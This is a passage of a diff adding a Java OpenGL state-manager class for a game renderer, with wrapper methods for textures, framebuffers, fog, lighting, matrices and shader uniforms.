GL20.glUniform2iv(location, value); + } + + public static void uniform2f(int location, FloatBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniform2fv(location, value); + } + + public static void uniform3i(int location, IntBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniform3iv(location, value); + } + + public static void uniform3f(int location, FloatBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniform3fv(location, value); + } + + public static void uniform4i(int location, IntBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniform4iv(location, value); + } + + public static void uniform4f(int location, FloatBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniform4fv(location, value); + } + + public static void uniformMatrix2f(int location, boolean transpose, FloatBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniformMatrix2fv(location, transpose, value); + } + + public static void uniformMatrix3f(int location, boolean transpose, FloatBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniformMatrix3fv(location, transpose, value); + } + + public static void uniformMatrix4f(int location, boolean transpose, FloatBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniformMatrix4fv(location, transpose, value); + } + + public static int getAttribLocation(int program, CharSequence name) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL20.glGetAttribLocation(program, name); + } + + public static int genBuffers() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + return GL15.glGenBuffers(); + } + + public static void bindBuffer(int target, int buffer) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL15.glBindBuffer(target, buffer); + } + + public static void bufferData(int target, ByteBuffer data, int usage) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL15.glBufferData(target, data, usage); + } + + public static void deleteBuffers(int buffer) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL15.glDeleteBuffers(buffer); + } + + public static void copySubImage(int target, int level, int xOffset, int yOffset, int x, int y, int width, int height) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL20.glCopyTexSubImage2D(target, level, xOffset, yOffset, x, y, width, height); + } + + public static void bindFramebuffer(int target, int framebufferIn) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + switch (fboMode) + { + case BASE: + GL30.glBindFramebuffer(target, framebufferIn); + break; + + case ARB: + ARBFramebufferObject.glBindFramebuffer(target, framebufferIn); + break; + + case EXT: + EXTFramebufferObject.glBindFramebufferEXT(target, framebufferIn); + } + } + + public static int getFrameBufferAttachmentParam() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + switch (fboMode) + { + case BASE: + if (GL30.glGetFramebufferAttachmentParameteri(36160, 36096, 36048) == 5890) + { + return GL30.glGetFramebufferAttachmentParameteri(36160, 36096, 36049); + } + + break; + + case ARB: + if (ARBFramebufferObject.glGetFramebufferAttachmentParameteri(36160, 36096, 36048) == 5890) + { + return ARBFramebufferObject.glGetFramebufferAttachmentParameteri(36160, 36096, 36049); + } + + break; + + case EXT: + if (EXTFramebufferObject.glGetFramebufferAttachmentParameteriEXT(36160, 36096, 36048) == 5890) + { + return EXTFramebufferObject.glGetFramebufferAttachmentParameteriEXT(36160, 36096, 36049); + } + } + + return 0; + } + + public static void blitFramebuffer(int srcX0, int srcY0, int srcX1, int srcY1, int dstX0, int dstY0, int dstX1, int dstY1, int mask, int filter) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + switch (supportType) + { + case BASE: + GL30.glBlitFramebuffer(srcX0, srcY0, srcX1, srcY1, dstX0, dstY0, dstX1, dstY1, mask, filter); + break; + + case EXT: + EXTFramebufferBlit.glBlitFramebufferEXT(srcX0, srcY0, srcX1, srcY1, dstX0, dstY0, dstX1, dstY1, mask, filter); + + case NONE: + } + } + + public static void deleteFramebuffers(int frameBuffer) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + switch (fboMode) + { + case BASE: + GL30.glDeleteFramebuffers(frameBuffer); + break; + + case ARB: + ARBFramebufferObject.glDeleteFramebuffers(frameBuffer); + break; + + case EXT: + EXTFramebufferObject.glDeleteFramebuffersEXT(frameBuffer); + } + } + + public static int genFramebuffers() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + switch (fboMode) + { + case BASE: + return GL30.glGenFramebuffers(); + + case ARB: + return ARBFramebufferObject.glGenFramebuffers(); + + case EXT: + return EXTFramebufferObject.glGenFramebuffersEXT(); + + default: + return -1; + } + } + + public static int checkFramebufferStatus(int target) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + switch (fboMode) + { + case BASE: + return GL30.glCheckFramebufferStatus(target); + + case ARB: + return ARBFramebufferObject.glCheckFramebufferStatus(target); + + case EXT: + return EXTFramebufferObject.glCheckFramebufferStatusEXT(target); + + default: + return -1; + } + } + + public static void framebufferTexture2D(int target, int attachment, int texTarget, int texture, int level) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + switch (fboMode) + { + case BASE: + GL30.glFramebufferTexture2D(target, attachment, texTarget, texture, level); + break; + + case ARB: + ARBFramebufferObject.glFramebufferTexture2D(target, attachment, texTarget, texture, level); + break; + + case EXT: + EXTFramebufferObject.glFramebufferTexture2DEXT(target, attachment, texTarget, texture, level); + } + } + + @Deprecated + public static int getActiveTextureId() + { + return TEXTURES[activeTexture].textureName; + } + + public static void glActiveTexture(int textureIn) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL13.glActiveTexture(textureIn); + } + + @Deprecated + public static void clientActiveTexture(int texture) + { + if (texture != clientActiveTexture) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL13.glClientActiveTexture(texture); + clientActiveTexture = texture; + } + } + + @Deprecated + public static void multiTexCoord2f(int texture, float s, float t) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL13.glMultiTexCoord2f(texture, s, t); + + if (texture == 33986) + { + lastBrightnessX = s; + lastBrightnessY = t; + } + } + + public static void glBlendFuncSeparate(int sFactorRGB, int dFactorRGB, int sFactorAlpha, int dFactorAlpha) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL14.glBlendFuncSeparate(sFactorRGB, dFactorRGB, sFactorAlpha, dFactorAlpha); + } + + public static String getShaderInfoLog(int shader, int maxLength) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL20.glGetShaderInfoLog(shader, maxLength); + } + + public static String getProgramInfoLog(int program, int maxLength) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL20.glGetProgramInfoLog(program, maxLength); + } + + public static void setupOutline() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + texEnv(8960, 8704, 34160); + color(7681, 34168); + } + + public static void teardownOutline() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + texEnv(8960, 8704, 8448); + color(8448, 5890, 34168, 34166); + } + + public static void setupOverlayColor(int texture, int bitSpace) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + activeTexture(33985); + enableTexture(); + matrixMode(5890); + loadIdentity(); + float f = 1.0F / (float)(bitSpace - 1); + scalef(f, f, f); + matrixMode(5888); + bindTexture(texture); + texParameter(3553, 10241, 9728); + texParameter(3553, 10240, 9728); + texParameter(3553, 10242, 10496); + texParameter(3553, 10243, 10496); + texEnv(8960, 8704, 34160); + color(34165, 34168, 5890, 5890); + alpha(7681, 34168); + activeTexture(33984); + } + + public static void teardownOverlayColor() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + activeTexture(33985); + disableTexture(); + activeTexture(33984); + } + + private static void color(int color1, int color2) + { + texEnv(8960, 34161, color1); + texEnv(8960, 34176, color2); + texEnv(8960, 34192, 768); + } + + private static void color(int red, int green, int blue, int alpha) + { + texEnv(8960, 34161, red); + texEnv(8960, 34176, green); + texEnv(8960, 34192, 768); + texEnv(8960, 34177, blue); + texEnv(8960, 34193, 768); + texEnv(8960, 34178, alpha); + texEnv(8960, 34194, 770); + } + + private static void alpha(int alpha1, int alpha2) + { + texEnv(8960, 34162, alpha1); + texEnv(8960, 34184, alpha2); + texEnv(8960, 34200, 770); + } + + public static void setupLighting(Vector3f lightingVector1, Vector3f lightingVector2, Matrix4f matrix) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + pushMatrix(); + loadIdentity(); + enableLight(0); + enableLight(1); + Vector4f vector4f = new Vector4f(lightingVector1); + vector4f.transform(matrix); + light(16384, 4611, getBuffer(vector4f.getX(), vector4f.getY(), vector4f.getZ(), 0.0F)); + float f = 0.6F; + light(16384, 4609, getBuffer(0.6F, 0.6F, 0.6F, 1.0F)); + light(16384, 4608, getBuffer(0.0F, 0.0F, 0.0F, 1.0F)); + light(16384, 4610, getBuffer(0.0F, 0.0F, 0.0F, 1.0F)); + Vector4f vector4f1 = new Vector4f(lightingVector2); + vector4f1.transform(matrix); + light(16385, 4611, getBuffer(vector4f1.getX(), vector4f1.getY(), vector4f1.getZ(), 0.0F)); + light(16385, 4609, getBuffer(0.6F, 0.6F, 0.6F, 1.0F)); + light(16385, 4608, getBuffer(0.0F, 0.0F, 0.0F, 1.0F)); + light(16385, 4610, getBuffer(0.0F, 0.0F, 0.0F, 1.0F)); + shadeModel(7424); + float f1 = 0.4F; + lightModel(2899, getBuffer(0.4F, 0.4F, 0.4F, 1.0F)); + popMatrix(); + } + + public static void setupScaledLighting(Vector3f lighting1, Vector3f lighting2) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + Matrix4f matrix4f = new Matrix4f(); + matrix4f.setIdentity(); + matrix4f.mul(Matrix4f.makeScale(1.0F, -1.0F, 1.0F)); + matrix4f.mul(Vector3f.YP.rotationDegrees(-22.5F)); + matrix4f.mul(Vector3f.XP.rotationDegrees(135.0F)); + setupLighting(lighting1, lighting2, matrix4f); + } + + public static void setupGui3DMatrix(Vector3f lightingVector1, Vector3f lightingVector2) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + Matrix4f matrix4f = new Matrix4f(); + matrix4f.setIdentity(); + matrix4f.mul(Vector3f.YP.rotationDegrees(62.0F)); + matrix4f.mul(Vector3f.XP.rotationDegrees(185.5F)); + matrix4f.mul(Matrix4f.makeScale(1.0F, -1.0F, 1.0F)); + matrix4f.mul(Vector3f.YP.rotationDegrees(-22.5F)); + matrix4f.mul(Vector3f.XP.rotationDegrees(135.0F)); + setupLighting(lightingVector1, lightingVector2, matrix4f); + } + + private static FloatBuffer getBuffer(float float1, float float2, float float3, float float4) + { + ((Buffer)FLOAT_4_BUFFER).clear(); + FLOAT_4_BUFFER.put(float1).put(float2).put(float3).put(float4); + ((Buffer)FLOAT_4_BUFFER).flip(); + return FLOAT_4_BUFFER; + } + + public static void setupEndPortalTexGen() + { + texGenMode(GlStateManager.TexGen.S, 9216); + texGenMode(GlStateManager.TexGen.T, 9216); + texGenMode(GlStateManager.TexGen.R, 9216); + texGenParam(GlStateManager.TexGen.S, 9474, getBuffer(1.0F, 0.0F, 0.0F, 0.0F)); + texGenParam(GlStateManager.TexGen.T, 9474, getBuffer(0.0F, 1.0F, 0.0F, 0.0F)); + texGenParam(GlStateManager.TexGen.R, 9474, getBuffer(0.0F, 0.0F, 1.0F, 0.0F)); + enableTexGen(GlStateManager.TexGen.S); + enableTexGen(GlStateManager.TexGen.T); + enableTexGen(GlStateManager.TexGen.R); + } + + public static void clearTexGen() + { + disableTexGen(GlStateManager.TexGen.S); + disableTexGen(GlStateManager.TexGen.T); + disableTexGen(GlStateManager.TexGen.R); + } + + public static void mulTextureByProjModelView() + { + getMatrix(2983, MATRIX_BUFFER); + multMatrix(MATRIX_BUFFER); + getMatrix(2982, MATRIX_BUFFER); + multMatrix(MATRIX_BUFFER); + } + + @Deprecated + public static void enableFog() + { + if (fogAllowed) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + FOG.fog.enable(); + } + } + + @Deprecated + public static void disableFog() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + FOG.fog.disable(); + } + + @Deprecated + public static void fogMode(int fogMode) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (fogMode != FOG.mode) + { + FOG.mode = fogMode; + fogi(2917, fogMode); + + if (Config.isShaders()) + { + Shaders.setFogMode(fogMode); + } + } + } + + @Deprecated + public static void fogDensity(float param) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (param < 0.0F) + { + param = 0.0F; + } + + if (param != FOG.density) + { + FOG.density = param; + GL11.glFogf(GL11.GL_FOG_DENSITY, param); + + if (Config.isShaders()) + { + Shaders.setFogDensity(param); + } + } + } + + @Deprecated + public static void fogStart(float param) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (param != FOG.start) + { + FOG.start = param; + GL11.glFogf(GL11.GL_FOG_START, param); + } + } + + @Deprecated + public static void fogEnd(float param) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (param != FOG.end) + { + FOG.end = param; + GL11.glFogf(GL11.GL_FOG_END, param); + } + } + + @Deprecated + public static void fog(int pname, float[] param) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glFogfv(pname, param); + } + + @Deprecated + public static void fogi(int pname, int param) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glFogi(pname, param); + } + + public static void enableCull() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (cullLock.isLocked()) + { + cullLockState.setEnabled(); + } + else + { + CULL.cullFace.enable(); + } + } + + public static void disableCull() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (cullLock.isLocked()) + { + cullLockState.setDisabled(); + } + else + { + CULL.cullFace.disable(); + } + } + + public static void polygonMode(int face, int mode) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glPolygonMode(face, mode); + } + + public static void enablePolygonOffset() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + POLY_OFFSET.polyOffset.enable(); + } + + public static void disablePolygonOffset() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + POLY_OFFSET.polyOffset.disable(); + } + + public static void enableLineOffset() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + POLY_OFFSET.lineOffset.enable(); + } + + public static void disableLineOffset() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + POLY_OFFSET.lineOffset.disable(); + } + + public static void polygonOffset(float factor, float units) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (factor != POLY_OFFSET.factor || units != POLY_OFFSET.units) + { + POLY_OFFSET.factor = factor; + POLY_OFFSET.units = units; + GL11.glPolygonOffset(factor, units); + } + } + + public static void enableColorLogicOp() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + COLOR_LOGIC.colorLogicOp.enable(); + } + + public static void disableColorLogicOp() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + COLOR_LOGIC.colorLogicOp.disable(); + } + + public static void logicOp(int logicOperation) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (logicOperation != COLOR_LOGIC.logicOpcode) + { + COLOR_LOGIC.logicOpcode = logicOperation; + GL11.glLogicOp(logicOperation); + } + } + + @Deprecated + public static void enableTexGen(GlStateManager.TexGen texGen) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + getTexGen(texGen).textureGen.enable(); + } + + @Deprecated + public static void disableTexGen(GlStateManager.TexGen texGen) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + getTexGen(texGen).textureGen.disable(); + } + + @Deprecated + public static void texGenMode(GlStateManager.TexGen texGen, int mode) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GlStateManager.TexGenCoord glstatemanager$texgencoord = getTexGen(texGen); + + if (mode != glstatemanager$texgencoord.mode) + { + glstatemanager$texgencoord.mode = mode; + GL11.glTexGeni(glstatemanager$texgencoord.coord, GL11.GL_TEXTURE_GEN_MODE, mode); + } + } + + @Deprecated + public static void texGenParam(GlStateManager.TexGen texGen, int pname, FloatBuffer params) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glTexGenfv(getTexGen(texGen).coord, pname, params); + } + + @Deprecated + private static GlStateManager.TexGenCoord getTexGen(GlStateManager.TexGen texGen) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + switch (texGen) + { + case S: + return TEX_GEN.s; + + case T: + return TEX_GEN.t; + + case R: + return TEX_GEN.r; + + case Q: + return TEX_GEN.q; + + default: + return TEX_GEN.s; + } + } + + public static void activeTexture(int textureIn) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (activeTexture != textureIn - 33984) + { + activeTexture = textureIn - 33984; + glActiveTexture(textureIn); + } + } + + public static void enableTexture() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + TEXTURES[activeTexture].texture2DState.enable(); + } + + public static void disableTexture() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + TEXTURES[activeTexture].texture2DState.disable(); + } + + @Deprecated + public static void texEnv(int target, int parameterName, int parameters) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glTexEnvi(target, parameterName, parameters); + } + + public static void texParameter(int target, int parameterName, float parameter) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glTexParameterf(target, parameterName, parameter); + } + + public static void texParameter(int target, int parameterName, int parameter) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glTexParameteri(target, parameterName, parameter); + } + + public static int getTexLevelParameter(int target, int level, int parameterName) + { + RenderSystem.assertThread(RenderSystem::isInInitPhase); + return GL11.glGetTexLevelParameteri(target, level, parameterName); + } + + public static int genTexture() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + return GL11.glGenTextures(); + } + + public static void genTextures(int[] textures) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glGenTextures(textures); + } + + public static void deleteTexture(int textureIn) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + if (textureIn != 0) + { + GL11.glDeleteTextures(textureIn); + + for (GlStateManager.TextureState glstatemanager$texturestate : TEXTURES) + { + if (glstatemanager$texturestate.textureName == textureIn) + { + glstatemanager$texturestate.textureName = 0; + } + } + } + } + + public static void deleteTextures(int[] textures) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + for (GlStateManager.TextureState glstatemanager$texturestate : TEXTURES) + { + for (int i : textures) + { + if (glstatemanager$texturestate.textureName == i) + { + glstatemanager$texturestate.textureName = -1; + } + } + } + + GL11.glDeleteTextures(textures); + } + + public static void bindTexture(int textureIn) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + if (textureIn != TEXTURES[activeTexture].textureName) + { + TEXTURES[activeTexture].textureName = textureIn; + GL11.glBindTexture(GL11.GL_TEXTURE_2D, textureIn); + + if (SmartAnimations.isActive()) + { + SmartAnimations.textureRendered(textureIn); + } + } + } + + public static void texImage2D(int target, int level, int internalFormat, int width, int height, int border, int format, int type, @Nullable IntBuffer pixels) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glTexImage2D(target, level, internalFormat, width, height, border, format, type, pixels); + } + + public static void texSubImage2D(int target, int level, int xOffset, int yOffset, int width, int height, int format, int type, long pixels) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glTexSubImage2D(target, level, xOffset, yOffset, width, height, format, type, pixels); + } + + public static void getTexImage(int tex, int level, int format, int type, long pixels) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glGetTexImage(tex, level, format, type, pixels); + } + + @Deprecated + public static void shadeModel(int mode) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + if (mode != shadeModel) + { + shadeModel = mode; + GL11.glShadeModel(mode); + } + } + + @Deprecated + public static void enableRescaleNormal() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + RESCALE_NORMAL.enable(); + } + + @Deprecated + public static void disableRescaleNormal() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + RESCALE_NORMAL.disable(); + } + + public static void viewport(int x, int y, int width, int height) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GlStateManager.Viewport.INSTANCE.x = x; + GlStateManager.Viewport.INSTANCE.y = y; + GlStateManager.Viewport.INSTANCE.w = width; + GlStateManager.Viewport.INSTANCE.h = height; + GL11.glViewport(x, y, width, height); + } + + public static void colorMask(boolean red, boolean green, boolean blue, boolean alpha) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (red != COLOR_MASK.red || green != COLOR_MASK.green || blue != COLOR_MASK.blue || alpha != COLOR_MASK.alpha) + { + COLOR_MASK.red = red; + COLOR_MASK.green = green; + COLOR_MASK.blue = blue; + COLOR_MASK.alpha = alpha; + GL11.glColorMask(red, green, blue, alpha); + } + } + + public static void stencilFunc(int func, int ref, int mask) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (func != STENCIL.func.func || func != STENCIL.func.ref || func != STENCIL.func.mask) + { + STENCIL.func.func = func; + STENCIL.func.ref = ref; + STENCIL.func.mask = mask; + GL11.glStencilFunc(func, ref, mask); + } + } + + public static void stencilMask(int mask) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (mask != STENCIL.mask) + { + STENCIL.mask = mask; + GL11.glStencilMask(mask); + } + } + + public static void stencilOp(int sfail, int dpfail, int dppass) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (sfail != STENCIL.sfail || dpfail != STENCIL.dpfail || dppass != STENCIL.dppass) + { + STENCIL.sfail = sfail; + STENCIL.dpfail = dpfail; + STENCIL.dppass = dppass; + GL11.glStencilOp(sfail, dpfail, dppass); + } + } + + public static void clearDepth(double depth) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glClearDepth(depth); + } + + public static void clearColor(float red, float green, float blue, float alpha) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glClearColor(red, green, blue, alpha); + } + + public static void clearStencil(int index) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glClearStencil(index); + } + + public static void clear(int mask, boolean checkError) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glClear(mask); + + if (checkError) + { + getError(); + } + } + + @Deprecated + public static void matrixMode(int mode) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glMatrixMode(mode); + } + + @Deprecated + public static void loadIdentity() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glLoadIdentity(); + } + + @Deprecated + public static void pushMatrix() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glPushMatrix(); + } + + @Deprecated + public static void popMatrix() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glPopMatrix(); + } + + @Deprecated + public static void getMatrix(int pname, FloatBuffer params) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glGetFloatv(pname, params); + } + + @Deprecated + public static void ortho(double left, double right, double bottom, double top, double zNear, double zFar) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glOrtho(left, right, bottom, top, zNear, zFar); + } + + @Deprecated + public static void rotatef(float angle, float x, float y, float z) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glRotatef(angle, x, y, z); + } + + @Deprecated + public static void scalef(float x, float y, float z) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glScalef(x, y, z); + } + + @Deprecated + public static void scaled(double x, double y, double z) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glScaled(x, y, z); + } + + @Deprecated + public static void translatef(float x, float y, float z) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glTranslatef(x, y, z); + } + + @Deprecated + public static void translated(double x, double y, double z) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glTranslated(x, y, z); + } + + @Deprecated + public static void multMatrix(FloatBuffer matrix) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glMultMatrixf(matrix); + } + + @Deprecated + public static void multMatrix(Matrix4f matrix) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + matrix.write(MATRIX_BUFFER); + ((Buffer)MATRIX_BUFFER).rewind(); + multMatrix(MATRIX_BUFFER); + } + + @Deprecated + public static void color4f(float red, float green, float blue, float alpha) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (red != COLOR.red || green != COLOR.green || blue != COLOR.blue || alpha != COLOR.alpha) + { + COLOR.red = red; + COLOR.green = green; + COLOR.blue = blue; + COLOR.alpha = alpha; + GL11.glColor4f(red, green, blue, alpha); + } + } + + @Deprecated + public static void clearCurrentColor() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + COLOR.red = -1.0F; + COLOR.green = -1.0F; + COLOR.blue = -1.0F; + COLOR.alpha = -1.0F; + } + + @Deprecated + public static void normalPointer(int type, int stride, long pointer) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glNormalPointer(type, stride, pointer); + } + + @Deprecated + public static void texCoordPointer(int size, int type, int stride, long pointer) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glTexCoordPointer(size, type, stride, pointer); + } + + @Deprecated + public static void vertexPointer(int size, int type, int stride, long pointer) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glVertexPointer(size, type, stride, pointer); + } + + @Deprecated + public static void colorPointer(int size, int type, int stride, long pointer) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glColorPointer(size, type, stride, pointer); + } + + public static void vertexAttribPointer(int index, int size, int type, boolean normalized, int stride, long pointer) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glVertexAttribPointer(index, size, type, normalized, stride, pointer); + } + + @Deprecated + public static void enableClientState(int cap) + { + if (!clientStateLocked) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glEnableClientState(cap); + } + } + + @Deprecated + public static void disableClientState(int cap) + { + if (!clientStateLocked) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glDisableClientState(cap); + } + } + + public static void enableVertexAttribArray(int index) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glEnableVertexAttribArray(index); + } + + public static void glEnableVertexAttribArray(int index) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glEnableVertexAttribArray(index); + } + + public static void drawArrays(int mode, int first, int count) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glDrawArrays(mode, first, count); + + if (Config.isShaders() && !creatingDisplayList) + { + int i = Shaders.activeProgram.getCountInstances(); + + if (i > 1) + { + for (int j = 1; j < i; ++j) + { + Shaders.uniform_instanceId.setValue(j); + GL11.glDrawArrays(mode, first, count); + } + + Shaders.uniform_instanceId.setValue(0); + } + } + } + + public static void lineWidth(float width) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glLineWidth(width); + } + + public static void pixelStore(int pname, int param) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL11.glPixelStorei(pname, param); + } + + public static void pixelTransfer(int param, float value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glPixelTransferf(param, value); + } + + public static void readPixels(int x, int y, int width, int height, int format, int type, ByteBuffer pixels) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glReadPixels(x, y, width, height, format, type, pixels); + } + + public static int getError() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL11.glGetError(); + } + + public static String getString(int name) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL11.glGetString(name); + } + + public static int getInteger(int pname) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + return GL11.glGetInteger(pname); + } + + public static boolean isFabulous() + { + return supportType != GlStateManager.SupportType.NONE; + } + + public static int getActiveTextureUnit() + { + return 33984 + activeTexture; + } + + public static void bindCurrentTexture() + { + GL11.glBindTexture(GL11.GL_TEXTURE_2D, TEXTURES[activeTexture].textureName); + } + + public static int getBoundTexture() + { + return TEXTURES[activeTexture].textureName; + } + + public static void checkBoundTexture() + { + if (Config.isMinecraftThread()) + { + int i = GL11.glGetInteger(GL13.GL_ACTIVE_TEXTURE); + int j = GL11.glGetInteger(GL11.GL_TEXTURE_BINDING_2D); + int k = getActiveTextureUnit(); + int l = getBoundTexture(); + + if (l > 0) + { + if (i != k || j != l) + { + Config.dbg("checkTexture: act: " + k + ", glAct: " + i + ", tex: " + l + ", glTex: " + j); + } + } + } + } + + public static void deleteTextures(IntBuffer p_deleteTextures_0_) + { + ((Buffer)p_deleteTextures_0_).rewind(); + + while (p_deleteTextures_0_.position() < p_deleteTextures_0_.limit()) + { + int i = p_deleteTextures_0_.get(); + deleteTexture(i); + } + + ((Buffer)p_deleteTextures_0_).rewind(); + } + + public static boolean isFogEnabled() + { + return FOG.fog.currentState; + } + + public static void setFogEnabled(boolean p_setFogEnabled_0_) + { + FOG.fog.setEnabled(p_setFogEnabled_0_); + } + + public static void lockAlpha(GlAlphaState p_lockAlpha_0_) + { + if (!alphaLock.isLocked()) + { + getAlphaState(alphaLockState); + setAlphaState(p_lockAlpha_0_); + alphaLock.lock(); + } + } + + public static void unlockAlpha() + { + if (alphaLock.unlock()) + { + setAlphaState(alphaLockState); + } + } + 